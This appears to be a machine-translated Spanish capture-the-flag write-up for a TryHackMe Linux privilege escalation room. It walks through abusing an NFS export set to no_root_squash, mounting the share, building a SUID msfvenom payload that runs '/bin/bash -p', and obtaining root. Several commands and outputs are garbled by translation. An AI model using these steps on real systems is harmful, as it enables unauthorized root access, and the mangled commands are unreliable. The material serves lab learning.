Esta vez, intentaremos "elevación del privilegio utilizando el Monte NFS NO_ROOT_SQUASH".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 9.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique privilegios electrónicos que exploten copias de seguridad de archivos de historia, archivos de configuración y archivos importantes





Preparación
Primero, inicie la máquina de destino con la máquina de arranque.

Está bien si se muestra la dirección IP.

Esta vez, dado que se intensifica a los privilegios, verificaré para ver dónde se puede conectar a través de SSH.
Conecte usando "User/Password321" como se muestra en TryhackMe.
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian El sistema GNU/Linux es un software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125
NFS
Los archivos creados a través de NFS heredarán la ID del usuario remoto.
Si el usuario es raíz y la calabaza raíz está habilitada (no_root_squash no está especificado), la ID se establecerá en "nadie" en su lugar.
Por el contrario, si la calabaza raíz está deshabilitada (no_root_squash se especifica), tenga en cuenta que tiene el mismo nivel de privilegios de acceso que la raíz.
Vamos a ver la configuración de intercambio de NFS para Debian VM.
usuario@debian: ~ $ cat /etc /exports # /etc /exports: la lista de control de acceso para sistemas de archivos que se pueden exportar # a clientes NFS. Ver exportaciones (5). # # Ejemplo para NFSV2 y NFSV3: # /srv /homes hostname1 (rw, sync, no_subtree_check) hostname2 (ro, sync, no_subtree_check) # # Ejemplo para nfsv4: # /srv /nfs4 GSS/KRB5I (RW, SYNC, FSID = 0, CrossMnt, NO_SUBTREE_CHECK) #/SRV/NFS4/HOMES GSS/KRB5I (RW, SYNC, NO_SUBTREE_CHECK) #/TMP *(RW, Sync, Insecure, NO_ROOT_SQUASH, NO_SUBTREE) *(RW, Sync, Insegure, NO_Subtree_check)
¿Has notado que no_root_squash se especifica en "/tmp"?
A continuación, explotaremos NO_ROOT_SQUASH en "/TMP" para aumentar los privilegios.
Primero, rootemos la máquina de ataque. (Incluso en la máquina de destino, los mismos privilegios que la raíz en /tmp).
┌── (Hacklab㉿hackLab)-[~] └─ $ sudo su ┌── (root💀hacklab)-[/home/hacklab] └─#
A continuación, cree un punto de montaje en la máquina de ataque y monte /TMP.
┌─se (root💀hacklab)-[/home/hacklab] └─# mkdir/tmp/nfs ┌── (root💀hacklab)-[/home/hacklab] └─# monte -o rw, vers = 3 10.10.175.49:/tmp/tmp/nfs
A continuación, use MSFVENOM para generar una carga útil que llama /bin /bash.
La carga útil generada se guardará en /TMP /NFS.
┌── (root💀hackLab) -[/home/hacklab] └─# msfvenom -p linux/x86/exec cmd = "/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [ -] No se seleccionó la plataforma, elección de msf :: módulo :: plataforma: lineux de la pago de pago [ -] selected, no, no, seleccionando la plataforma: Seleccionar la plataforma de la plataforma, elección de MSF :: Module :: Platform: Linux de la carga de pagos codificador especificado, salida Tamaño de carga útil de carga sin procesar: 48 bytes Tamaño final del archivo ELF: 132 bytes guardados como: /tmp/nfs/shell.elf
Grant los privilegios Suid para que una vez que el usuario objetivo lo ejecute se ejecute con los privilegios del propietario. (La raíz de la máquina de ataque se considera la raíz de la máquina de destino, y al otorgar privilegios Suid, otros usuarios de la máquina de destino también se pueden ejecutar con privilegios raíz).
┌── (root💀hacklab)-[/home/hacklab] └─# chmod +xs /tmp/nfs/shell.elf
Una vez que haya hecho esto, regrese a la máquina de destino y ejecute el shell.elf que acaba de guardar.
Usuario@Debian: ~ $ /tmp/shell.elf Bash-4.1# Whoami root
Obtuve con éxito privilegios de raíz.

resumen
Esta vez, intenté "elevación de privilegios usando el Monte NFS NO_ROOT_SQUASH".
Finalmente, ¿notó que ha surgido el problema de ejecutar con privilegios Suid?
¿Cuál es el permiso de Suid? Si cree que sí, ¡también consulte Electroducción usando ejecutables SUID/SGID

Referencias y sitios
-